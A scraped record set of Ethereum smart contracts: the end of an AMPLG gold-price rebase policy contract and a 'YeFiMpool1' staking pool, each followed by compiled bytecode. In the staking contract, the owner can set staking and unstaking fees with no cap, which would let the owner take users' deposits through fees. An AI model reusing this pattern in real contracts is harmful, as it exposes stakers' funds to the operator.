goldOracle.getMarketPrice(); require(marketValid); int256 goldPriceSigned = curGoldPrice.toInt256Safe(); int256 marketPriceSigned = marketPrice.toInt256Safe(); int256 rate = marketPriceSigned.sub(goldPriceSigned); if (marketPrice > MAX_RATE) { marketPrice = MAX_RATE; } int256 supplyDelta = computeSupplyDelta(marketPrice, curGoldPrice); if (supplyDelta > 0 && amplg.totalSupply().add(uint256(supplyDelta)) > MAX_SUPPLY) { supplyDelta = (MAX_SUPPLY.sub(amplg.totalSupply())).toInt256Safe(); } return (curGoldPrice, marketPrice, rate, supplyDelta); } /** * @return Computes the total supply adjustment in response to the market price * and the current gold price. */ function computeSupplyDelta(uint256 marketPrice, uint256 curGoldPrice) internal view returns (int256) { if (withinDeviationThreshold(marketPrice, curGoldPrice)) { return 0; } //(current price – base target price in usd) * total supply / (base target price in usd * lag factor) int256 goldPrice = curGoldPrice.toInt256Safe(); int256 marketPrice = marketPrice.toInt256Safe(); int256 delta = marketPrice.sub(goldPrice); int256 lagSpawn = marketPrice.mul(rebaseLag.toInt256Safe()); return amplg.totalSupply().toInt256Safe() .mul(delta).div(lagSpawn); } /** * @notice Sets the rebase lag parameter. * @param rebaseLag_ The new rebase lag parameter. */ function setRebaseLag(uint256 rebaseLag_) external onlyOwner { require(rebaseLag_ > 0); rebaseLag = rebaseLag_; } /** * @notice Sets the parameter which control the timing and frequency of * rebase operations the minimum time period that must elapse between rebase cycles. * @param minRebaseTimeIntervalSec_ More than this much time must pass between rebase * operations, in seconds. */ function setRebaseTimingParameter(uint256 minRebaseTimeIntervalSec_) external onlyOwner { minRebaseTimeIntervalSec = minRebaseTimeIntervalSec_; } /** * @param rate The current market price * @param targetRate The current gold price * @return If the rate is within the deviation threshold from the target rate, returns true. * Otherwise, returns false. */ function withinDeviationThreshold(uint256 rate, uint256 targetRate) internal view returns (bool) { uint256 absoluteDeviationThreshold = targetRate.mul(deviationThreshold) .div(10 ** DECIMALS); return (rate >= targetRate && rate.sub(targetRate) < absoluteDeviationThreshold) || (rate < targetRate && targetRate.sub(rate) < absoluteDeviationThreshold); } /** * @notice Sets the reference to the AMPLG token governed. * Can only be called once during initialization. * * @param amplg_ The address of the AMPLG ERC20 token. */ function setAMPLG(IAMPLG amplg_) external onlyOwner { require(amplg == IAMPLG(0)); amplg = amplg_; } /** * @notice Sets the reference to the AMPLG $AMPLG oracle. * @param _goldOracle The address of the AMPLG oracle contract. */ function setGoldOracle(IGoldOracle _goldOracle) external onlyOwner { goldOracle = _goldOracle; } }
0x608060405234801561001057600080fd5b50600436106101165760003560e01c8063769cd122116100a257806397a3b4de1161007157806397a3b4de1461032e578063af14052c14610362578063d94ad8371461036c578063dd99a1e51461038a578063f2fde38b146103b857610116565b8063769cd122146102785780638da5cb5b146102bc5780638f32d59b146102f0578063900cf0cf1461031057610116565b80633827c6b6116100e95780633827c6b6146101ba5780633a93069b146101fe5780635d8f9a061461021c57806363f6d4c814610250578063715018a61461026e57610116565b8063021018991461011b57806320ce8389146101395780633148235a14610167578063329ceacd1461019a575b600080fd5b6101236103fc565b6040518082815260200191505060405180910390f35b6101656004803603602081101561014f57600080fd5b8101908080359060200190929190505050610402565b005b61016f61042a565b6040518085815260200184815260200183815260200182815260200194505050505060405180910390f35b6101a26107e1565b60405180821515815260200191505060405180910390f35b6101fc600480360360208110156101d057600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610801565b005b610206610856565b6040518082815260200191505060405180910390f35b61022461085c565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b610258610882565b6040518082815260200191505060405180910390f35b610276610888565b005b6102ba6004803603602081101561028e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061093f565b005b6102c46109ef565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6102f8610a18565b60405180821515815260200191505060405180910390f35b610318610a6f565b6040518082815260200191505060405180910390f35b610336610a75565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b61036a610a9b565b005b610374610ca2565b6040518082815260200191505060405180910390f35b6103b6600480360360208110156103a057600080fd5b8101908080359060200190929190505050610ca8565b005b6103fa600480360360208110156103ce57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610cc3565b005b60055481565b61040a610a18565b61041357600080fd5b6000811161042057600080fd5b8060048190555050565b600080600080600080600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663da6bae106040518163ffffffff1660e01b8152600401604080518083038186803b15801561049a57600080fd5b505afa1580156104ae573d6000803e3d6000fd5b505050506040513d60408110156104c457600080fd5b8101908080519060200190929190805190602001909291905050508092508193505050806104f157600080fd5b600080600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663660e16c36040518163ffffffff1660e01b8152600401604080518083038186803b15801561055b57600080fd5b505afa15801561056f573d6000803e3d6000fd5b505050506040513d604081101561058557600080fd5b8101908080519060200190929190805190602001909291905050508092508193505050806105b257600080fd5b60006105bd85610ce0565b905060006105ca84610ce0565b905060006105e18383610cfd90919063ffffffff16565b90506012600a0a620f424002851115610601576012600a0a620f42400294505b600061060d8689610d3f565b90506000811380156106ea57506012600a0a620f42400260ff6001901b198161063257fe5b046106e882600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166318160ddd6040518163ffffffff1660e01b815260040160206040518083038186803b15801561069f57600080fd5b505afa1580156106b3573d6000803e3d6000fd5b505050506040513d60208110156106c957600080fd5b8101908080519060200190929190505050610e8790919063ffffffff16565b115b156107c7576107c46107bf600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166318160ddd6040518163ffffffff1660e01b815260040160206040518083038186803b15801561075d57600080fd5b505afa158015610771573d6000803e3d6000fd5b505050506040513d602081101561078757600080fd5b81019080805190602001909291905050506012600a0a620f42400260ff6001901b19816107b057fe5b04610ea690919063ffffffff16565b610ce0565b90505b878683839b509b509b509b50505050505050505090919293565b6000426107fb600554600654610e8790919063ffffffff16565b10905090565b610809610a18565b61081257600080fd5b80600260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60065481565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60045481565b610890610a18565b61089957600080fd5b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167ff8df31144d9c2f0f6b59d69b8b98abd5459d07f2742c4df920b25aae33c6482060405160405180910390a260008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b610947610a18565b61095057600080fd5b600073ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146109ab57600080fd5b80600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614905090565b60075481565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b610aa36107e1565b610af8576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252603c81526020018061114d603c913960400191505060405180910390fd5b3373ffffffffffffffffffffffffffffffffffffffff163273ffffffffffffffffffffffffffffffffffffffff1614610b3057600080fd5b42600681905550610b4d6001600754610e8790919063ffffffff16565b600781905550600080600080610b6161042a565b93509350935093506000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663579b64f5600754846040518363ffffffff1660e01b81526004018083815260200182815260200192505050602060405180830381600087803b158015610bea57600080fd5b505af1158015610bfe573d6000803e3d6000fd5b505050506040513d6020811015610c1457600080fd5b810190808051906020019092919050505090506012600a0a620f42400260ff6001901b1981610c3f57fe5b04811115610c4957fe5b6007547f41d948a7f29cc695f5d4b3ec147f766bffa165ddd317470fbe05c86d0a9c3e04858785426040518085815260200184815260200183815260200182815260200194505050505060405180910390a25050505050565b60035481565b610cb0610a18565b610cb957600080fd5b8060058190555050565b610ccb610a18565b610cd457600080fd5b610cdd81610ec6565b50565b600060ff6001901b19821115610cf557600080fd5b819050919050565b600080828403905060008312158015610d165750838113155b80610d2c5750600083128015610d2b57508381135b5b610d3557600080fd5b8091505092915050565b6000610d4b8383610fbd565b15610d595760009050610e81565b6000610d6483610ce0565b90506000610d7185610ce0565b90506000610d888383610cfd90919063ffffffff16565b90506000610da9610d9a600454610ce0565b8461103e90919063ffffffff16565b9050610e7a81610e6c84610e5e600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166318160ddd6040518163ffffffff1660e01b815260040160206040518083038186803b158015610e1e57600080fd5b505afa158015610e32573d6000803e3d6000fd5b505050506040513d6020811015610e4857600080fd5b8101908080519060200190929190505050610ce0565b61103e90919063ffffffff16565b61109b90919063ffffffff16565b9450505050505b92915050565b600080828401905083811015610e9c57600080fd5b8091505092915050565b600082821115610eb557600080fd5b600082840390508091505092915050565b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415610f0057600080fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600080610feb6012600a0a610fdd600354866110ec90919063ffffffff16565b61112690919063ffffffff16565b905082841015801561100e57508061100c8486610ea690919063ffffffff16565b105b80611035575082841080156110345750806110328585610ea690919063ffffffff16565b105b5b91505092915050565b600080828402905060ff6001901b81141580611068575060ff6001901b831660ff6001901b851614155b61107157600080fd5b600083148061108857508383828161108557fe5b05145b61109157600080fd5b8091505092915050565b60007fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff821415806110d1575060ff6001901b8314155b6110da57600080fd5b8183816110e357fe5b05905092915050565b6000808314156110ff5760009050611120565b600082840290508284828161111057fe5b041461111b57600080fd5b809150505b92915050565b600080821161113457600080fd5b600082848161113f57fe5b049050809150509291505056fe414d504c47204572726f723a20496e73756666696369656e742074696d6520686173207061737365642073696e6365206c617374207265626173652ea2646970667358221220968616d7cb7e2a97c1e316e419c2a97d1d9028ed51a66e776db4fd981c379ef264736f6c634300060c0033
{"success": true, "error": null, "results": {}}
1,081
0x8c75d23e82df9bfc67004915db0434277f7573a4
pragma solidity 0.6.12; // SPDX-License-Identifier: BSD-3-Clause /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a * b; assert(a == 0 || c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } /** * @dev Library for managing * https://en.wikipedia.org/wiki/Set_(abstract_data_type)[sets] of primitive * types. * * Sets have the following properties: * * - Elements are added, removed, and checked for existence in constant time * (O(1)). * - Elements are enumerated in O(n). No guarantees are made on the ordering. * * ``` * contract Example { * // Add the library methods * using EnumerableSet for EnumerableSet.AddressSet; * * // Declare a set state variable * EnumerableSet.AddressSet private mySet; * } * ``` * * As of v3.0.0, only sets of type `address` (`AddressSet`) and `uint256` * (`UintSet`) are supported. */ library EnumerableSet { // To implement this library for multiple types with as little code // repetition as possible, we write it in terms of a generic Set type with // bytes32 values. // The Set implementation uses private functions, and user-facing // implementations (such as AddressSet) are just wrappers around the // underlying Set. // This means that we can only create new EnumerableSets for types that fit // in bytes32. struct Set { // Storage of set values bytes32[] _values; // Position of the value in the `values` array, plus 1 because index 0 // means a value is not in the set. mapping (bytes32 => uint256) _indexes; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function _add(Set storage set, bytes32 value) private returns (bool) { if (!_contains(set, value)) { set._values.push(value); // The value is stored at length-1, but we add 1 to all indexes // and use 0 as a sentinel value set._indexes[value] = set._values.length; return true; } else { return false; } } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function _remove(Set storage set, bytes32 value) private returns (bool) { // We read and store the value's index to prevent multiple reads from the same storage slot uint256 valueIndex = set._indexes[value]; if (valueIndex != 0) { // Equivalent to contains(set, value) // To delete an element from the _values array in O(1), we swap the element to delete with the last one in // the array, and then remove the last element (sometimes called as 'swap and pop'). // This modifies the order of the array, as noted in {at}. uint256 toDeleteIndex = valueIndex - 1; uint256 lastIndex = set._values.length - 1; // When the value to delete is the last one, the swap operation is unnecessary. However, since this occurs // so rarely, we still do the swap anyway to avoid the gas cost of adding an 'if' statement. bytes32 lastvalue = set._values[lastIndex]; // Move the last value to the index where the value to delete is set._values[toDeleteIndex] = lastvalue; // Update the index for the moved value set._indexes[lastvalue] = toDeleteIndex + 1; // All indexes are 1-based // Delete the slot where the moved value was stored set._values.pop(); // Delete the index for the deleted slot delete set._indexes[value]; return true; } else { return false; } } /** * @dev Returns true if the value is in the set. O(1). */ function _contains(Set storage set, bytes32 value) private view returns (bool) { return set._indexes[value] != 0; } /** * @dev Returns the number of values on the set. O(1). */ function _length(Set storage set) private view returns (uint256) { return set._values.length; } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function _at(Set storage set, uint256 index) private view returns (bytes32) { require(set._values.length > index, "EnumerableSet: index out of bounds"); return set._values[index]; } // AddressSet struct AddressSet { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(AddressSet storage set, address value) internal returns (bool) { return _add(set._inner, bytes32(uint256(value))); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(AddressSet storage set, address value) internal returns (bool) { return _remove(set._inner, bytes32(uint256(value))); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(AddressSet storage set, address value) internal view returns (bool) { return _contains(set._inner, bytes32(uint256(value))); } /** * @dev Returns the number of values in the set. O(1). */ function length(AddressSet storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(AddressSet storage set, uint256 index) internal view returns (address) { return address(uint256(_at(set._inner, index))); } // UintSet struct UintSet { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(UintSet storage set, uint256 value) internal returns (bool) { return _add(set._inner, bytes32(value)); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(UintSet storage set, uint256 value) internal returns (bool) { return _remove(set._inner, bytes32(value)); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(UintSet storage set, uint256 value) internal view returns (bool) { return _contains(set._inner, bytes32(value)); } /** * @dev Returns the number of values on the set. O(1). */ function length(UintSet storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(UintSet storage set, uint256 index) internal view returns (uint256) { return uint256(_at(set._inner, index)); } } /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public admin; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ constructor() public { admin = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == admin); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) onlyOwner public { require(newOwner != address(0)); emit OwnershipTransferred(admin, newOwner); admin = newOwner; } } interface Token { function transferFrom(address, address, uint) external returns (bool); function transfer(address, uint) external returns (bool); } contract YeFiMpool1 is Ownable { using SafeMath for uint; using EnumerableSet for EnumerableSet.AddressSet; event RewardsTransferred(address holder, uint amount); // token contract address address public tokenAddress; // reward rate % per year uint public rewardRate = 5500; uint public rewardInterval = 365 days; // staking fee percent uint public stakingFeeRate = 0; // unstaking fee percent uint public unstakingFeeRate = 0; // unstaking possible Time uint public PossibleUnstakeTime = 24 hours; uint public totalClaimedRewards = 0; uint private FundedTokens; bool public stakingStatus = false; EnumerableSet.AddressSet private holders; mapping (address => uint) public depositedTokens; mapping (address => uint) public stakingTime; mapping (address => uint) public lastClaimedTime; mapping (address => uint) public totalEarnedTokens; /*=============================ADMINISTRATIVE FUNCTIONS ==================================*/ function setTokenAddresses(address _tokenAddr) public onlyOwner returns(bool){ require(_tokenAddr != address(0), "Invalid address format is not supported"); tokenAddress = _tokenAddr; } function stakingFeeRateSet(uint _stakingFeeRate, uint _unstakingFeeRate) public onlyOwner returns(bool){ stakingFeeRate = _stakingFeeRate; unstakingFeeRate = _unstakingFeeRate; } function rewardRateSet(uint _rewardRate) public onlyOwner returns(bool){ rewardRate = _rewardRate; } function StakingReturnsAmountSet(uint _poolreward) public onlyOwner returns(bool){ FundedTokens = _poolreward; } function possibleUnstakeTimeSet(uint _possibleUnstakeTime) public onlyOwner returns(bool){ PossibleUnstakeTime = _possibleUnstakeTime; } function rewardIntervalSet(uint _rewardInterval) public onlyOwner returns(bool){ rewardInterval = _rewardInterval; } function allowStaking(bool _status) public onlyOwner returns(bool){ require(tokenAddress != address(0), "Interracting token address is not yet configured"); stakingStatus = _status; } function transferAnyERC20Tokens(address _tokenAddr, address _to, uint _amount) public onlyOwner { if (_tokenAddr == tokenAddress) { if (_amount > getFundedTokens()) { revert(); } totalClaimedRewards = totalClaimedRewards.add(_amount); } Token(_tokenAddr).transfer(_to, _amount); } function updateAccount(address account) private { uint unclaimedDivs = getUnclaimedDivs(account); if (unclaimedDivs > 0) { require(Token(tokenAddress).transfer(account, unclaimedDivs), "Could not transfer tokens."); totalEarnedTokens[account] = totalEarnedTokens[account].add(unclaimedDivs); totalClaimedRewards = totalClaimedRewards.add(unclaimedDivs); emit RewardsTransferred(account, unclaimedDivs); } lastClaimedTime[account] = now; } function getUnclaimedDivs(address _holder) public view returns (uint) { if (!holders.contains(_holder)) return 0; if (depositedTokens[_holder] == 0) return 0; uint timeDiff = now.sub(lastClaimedTime[_holder]); uint stakedAmount = depositedTokens[_holder]; uint unclaimedDivs = stakedAmount .mul(rewardRate) .mul(timeDiff) .div(rewardInterval) .div(1e4); return unclaimedDivs; } function getNumberOfHolders() public view returns (uint) { return holders.length(); } function farm(uint amountToStake) public { require(stakingStatus == true, "Staking is not yet initialized"); require(amountToStake > 0, "Cannot deposit 0 Tokens"); require(Token(tokenAddress).transferFrom(msg.sender, address(this), amountToStake), "Insufficient Token Allowance"); updateAccount(msg.sender); uint fee = amountToStake.mul(stakingFeeRate).div(1e4); uint amountAfterFee = amountToStake.sub(fee); require(Token(tokenAddress).transfer(admin, fee), "Could not transfer deposit fee."); depositedTokens[msg.sender] = depositedTokens[msg.sender].add(amountAfterFee); if (!holders.contains(msg.sender)) { holders.add(msg.sender); stakingTime[msg.sender] = now; } } function unfarm(uint amountToWithdraw) public { require(depositedTokens[msg.sender] >= amountToWithdraw, "Invalid amount to withdraw"); require(now.sub(stakingTime[msg.sender]) > PossibleUnstakeTime, "You have not staked for a while yet, kindly wait a bit more"); updateAccount(msg.sender); uint fee = amountToWithdraw.mul(unstakingFeeRate).div(1e4); uint amountAfterFee = amountToWithdraw.sub(fee); require(Token(tokenAddress).transfer(admin, fee), "Could not transfer withdraw fee."); require(Token(tokenAddress).transfer(msg.sender, amountAfterFee), "Could not transfer tokens."); depositedTokens[msg.sender] = depositedTokens[msg.sender].sub(amountToWithdraw); if (holders.contains(msg.sender) && depositedTokens[msg.sender] == 0) { holders.remove(msg.sender); } } function harvest() public { updateAccount(msg.sender); } function getFundedTokens() public view returns (uint) { if (totalClaimedRewards >= FundedTokens) { return 0; } uint remaining = FundedTokens.sub(totalClaimedRewards); return remaining; } }
0x608060405234801561001057600080fd5b50600436106101c45760003560e01c80636654ffdf116100f9578063d578ceab11610097578063f2fde38b11610071578063f2fde38b1461042a578063f3073ee714610450578063f3f91fa01461046f578063f851a44014610495576101c4565b8063d578ceab14610412578063d816c7d51461041a578063f1587ea114610422576101c4565b80639d76ea58116100d35780639d76ea58146103a3578063bec4de3f146103c7578063c0a6d78b146103cf578063c326bf4f146103ec576101c4565b80636654ffdf1461035d5780636a395ccb146103655780637b0a47ee1461039b576101c4565b8063455ab53c11610166578063538a85a111610140578063538a85a1146102ec578063583d42fd146103095780635ef057be1461032f5780636270cd1814610337576101c4565b8063455ab53c146102bf5780634641257d146102c75780634908e386146102cf576101c4565b80631e94723f116101a25780631e94723f1461023f578063308feec31461027757806337c5785a1461027f57806338443177146102a2576101c4565b8063069ca4d0146101c95780630d2adb90146101fa5780631c885bae14610220575b600080fd5b6101e6600480360360208110156101df57600080fd5b503561049d565b604080519115158252519081900360200190f35b6101e66004803603602081101561021057600080fd5b50356001600160a01b03166104be565b61023d6004803603602081101561023657600080fd5b503561053f565b005b6102656004803603602081101561025557600080fd5b50356001600160a01b031661084a565b60408051918252519081900360200190f35b6102656108fd565b6101e66004803603604081101561029557600080fd5b508035906020013561090f565b6101e6600480360360208110156102b857600080fd5b5035610933565b6101e6610954565b61023d61095d565b6101e6600480360360208110156102e557600080fd5b5035610968565b61023d6004803603602081101561030257600080fd5b5035610989565b6102656004803603602081101561031f57600080fd5b50356001600160a01b0316610c7e565b610265610c90565b6102656004803603602081101561034d57600080fd5b50356001600160a01b0316610c96565b610265610ca8565b61023d6004803603606081101561037b57600080fd5b506001600160a01b03813581169160208101359091169060400135610cae565b610265610d88565b6103ab610d8e565b604080516001600160a01b039092168252519081900360200190f35b610265610d9d565b6101e6600480360360208110156103e557600080fd5b5035610da3565b6102656004803603602081101561040257600080fd5b50356001600160a01b0316610dc4565b610265610dd6565b610265610ddc565b610265610de2565b61023d6004803603602081101561044057600080fd5b50356001600160a01b0316610e16565b6101e66004803603602081101561046657600080fd5b50351515610e9b565b6102656004803603602081101561048557600080fd5b50356001600160a01b0316610f0f565b6103ab610f21565b600080546001600160a01b031633146104b557600080fd5b60039190915590565b600080546001600160a01b031633146104d657600080fd5b6001600160a01b03821661051b5760405162461bcd60e51b81526004018080602001828103825260278152602001806112d86027913960400191505060405180910390fd5b600180546001600160a01b0319166001600160a01b03939093169290921790915590565b336000908152600c60205260409020548111156105a3576040805162461bcd60e51b815260206004820152601a60248201527f496e76616c696420616d6f756e7420746f207769746864726177000000000000604482015290519081900360640190fd5b600654336000908152600d60205260409020546105c1904290610f30565b116105fd5760405162461bcd60e51b815260040180806020018281038252603b81526020018061129d603b913960400191505060405180910390fd5b61060633610f47565b6000610629612710610623600554856110db90919063ffffffff16565b90611102565b905060006106378383610f30565b600154600080546040805163a9059cbb60e01b81526001600160a01b03928316600482015260248101889052905194955092169263a9059cbb926044808201936020939283900390910190829087803b15801561069357600080fd5b505af11580156106a7573d6000803e3d6000fd5b505050506040513d60208110156106bd57600080fd5b5051610710576040805162461bcd60e51b815260206004820181905260248201527f436f756c64206e6f74207472616e73666572207769746864726177206665652e604482015290519081900360640190fd5b6001546040805163a9059cbb60e01b81523360048201526024810184905290516001600160a01b039092169163a9059cbb916044808201926020929091908290030181600087803b15801561076457600080fd5b505af1158015610778573d6000803e3d6000fd5b505050506040513d602081101561078e57600080fd5b50516107e1576040805162461bcd60e51b815260206004820152601a60248201527f436f756c64206e6f74207472616e7366657220746f6b656e732e000000000000604482015290519081900360640190fd5b336000908152600c60205260409020546107fb9084610f30565b336000818152600c602052604090209190915561081a90600a90611117565b80156108335750336000908152600c6020526040902054155b1561084557610843600a3361112c565b505b505050565b6000610857600a83611117565b610863575060006108f8565b6001600160a01b0382166000908152600c6020526040902054610888575060006108f8565b6001600160a01b0382166000908152600e60205260408120546108ac904290610f30565b6001600160a01b0384166000908152600c602052604081205460035460025493945090926108f291612710916106239190829088906108ec9089906110db565b906110db565b93505050505b919050565b6000610909600a611141565b90505b90565b600080546001600160a01b0316331461092757600080fd5b60049290925560055590565b600080546001600160a01b0316331461094b57600080fd5b60089190915590565b60095460ff1681565b61096633610f47565b565b600080546001600160a01b0316331461098057600080fd5b60029190915590565b60095460ff1615156001146109e5576040805162461bcd60e51b815260206004820152601e60248201527f5374616b696e67206973206e6f742079657420696e697469616c697a65640000604482015290519081900360640190fd5b60008111610a3a576040805162461bcd60e51b815260206004820152601760248201527f43616e6e6f74206465706f736974203020546f6b656e73000000000000000000604482015290519081900360640190fd5b600154604080516323b872dd60e01b81523360048201523060248201526044810184905290516001600160a01b03909216916323b872dd916064808201926020929091908290030181600087803b158015610a9457600080fd5b505af1158015610aa8573d6000803e3d6000fd5b505050506040513d6020811015610abe57600080fd5b5051610b11576040805162461bcd60e51b815260206004820152601c60248201527f496e73756666696369656e7420546f6b656e20416c6c6f77616e636500000000604482015290519081900360640190fd5b610b1a33610f47565b6000610b37612710610623600454856110db90919063ffffffff16565b90506000610b458383610f30565b600154600080546040805163a9059cbb60e01b81526001600160a01b03928316600482015260248101889052905194955092169263a9059cbb926044808201936020939283900390910190829087803b158015610ba157600080fd5b505af1158015610bb5573d6000803e3d6000fd5b505050506040513d6020811015610bcb57600080fd5b5051610c1e576040805162461bcd60e51b815260206004820152601f60248201527f436f756c64206e6f74207472616e73666572206465706f736974206665652e00604482015290519081900360640190fd5b336000908152600c6020526040902054610c38908261114c565b336000818152600c6020526040902091909155610c5790600a90611117565b61084557610c66600a3361115b565b50336000908152600d60205260409020429055505050565b600d6020526000908152604090205481565b60045481565b600f6020526000908152604090205481565b60065481565b6000546001600160a01b03163314610cc557600080fd5b6001546001600160a01b0384811691161415610d0057610ce3610de2565b811115610cef57600080fd5b600754610cfc908261114c565b6007555b826001600160a01b031663a9059cbb83836040518363ffffffff1660e01b815260040180836001600160a01b0316815260200182815260200192505050602060405180830381600087803b158015610d5757600080fd5b505af1158015610d6b573d6000803e3d6000fd5b505050506040513d6020811015610d8157600080fd5b5050505050565b60025481565b6001546001600160a01b031681565b60035481565b600080546001600160a01b03163314610dbb57600080fd5b60069190915590565b600c6020526000908152604090205481565b60075481565b60055481565b600060085460075410610df75750600061090c565b6000610e10600754600854610f3090919063ffffffff16565b91505090565b6000546001600160a01b03163314610e2d57600080fd5b6001600160a01b038116610e4057600080fd5b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b600080546001600160a01b03163314610eb357600080fd5b6001546001600160a01b0316610efa5760405162461bcd60e51b81526004018080602001828103825260308152602001806112ff6030913960400191505060405180910390fd5b6009805460ff19169215159290921790915590565b600e6020526000908152604090205481565b6000546001600160a01b031681565b600082821115610f3c57fe5b508082035b92915050565b6000610f528261084a565b905080156110be576001546040805163a9059cbb60e01b81526001600160a01b038581166004830152602482018590529151919092169163a9059cbb9160448083019260209291908290030181600087803b158015610fb057600080fd5b505af1158015610fc4573d6000803e3d6000fd5b505050506040513d6020811015610fda57600080fd5b505161102d576040805162461bcd60e51b815260206004820152601a60248201527f436f756c64206e6f74207472616e7366657220746f6b656e732e000000000000604482015290519081900360640190fd5b6001600160a01b0382166000908152600f6020526040902054611050908261114c565b6001600160a01b0383166000908152600f6020526040902055600754611076908261114c565b600755604080516001600160a01b03841681526020810183905281517f586b2e63a21a7a4e1402e36f48ce10cb1ec94684fea254c186b76d1f98ecf130929181900390910190a15b506001600160a01b03166000908152600e60205260409020429055565b60008282028315806110f55750828482816110f257fe5b04145b6110fb57fe5b9392505050565b60008082848161110e57fe5b04949350505050565b60006110fb836001600160a01b038416611170565b60006110fb836001600160a01b038416611188565b6000610f418261124e565b6000828201838110156110fb57fe5b60006110fb836001600160a01b038416611252565b60009081526001919091016020526040902054151590565b6000818152600183016020526040812054801561124457835460001980830191908101906000908790839081106111bb57fe5b90600052602060002001549050808760000184815481106111d857fe5b60009182526020808320909101929092558281526001898101909252604090209084019055865487908061120857fe5b60019003818190600052602060002001600090559055866001016000878152602001908152602001600020600090556001945050505050610f41565b6000915050610f41565b5490565b600061125e8383611170565b61129457508154600181810184556000848152602080822090930184905584548482528286019093526040902091909155610f41565b506000610f4156fe596f752068617665206e6f74207374616b656420666f722061207768696c65207965742c206b696e646c792077616974206120626974206d6f7265496e76616c6964206164647265737320666f726d6174206973206e6f7420737570706f72746564496e74657272616374696e6720746f6b656e2061646472657373206973206e6f742079657420636f6e66696775726564a2646970667358221220de6dc0cf3204d64579a334ca9e01ed46e984c5582cec5bd46d7926294fab15d764736f6c634300060c0033
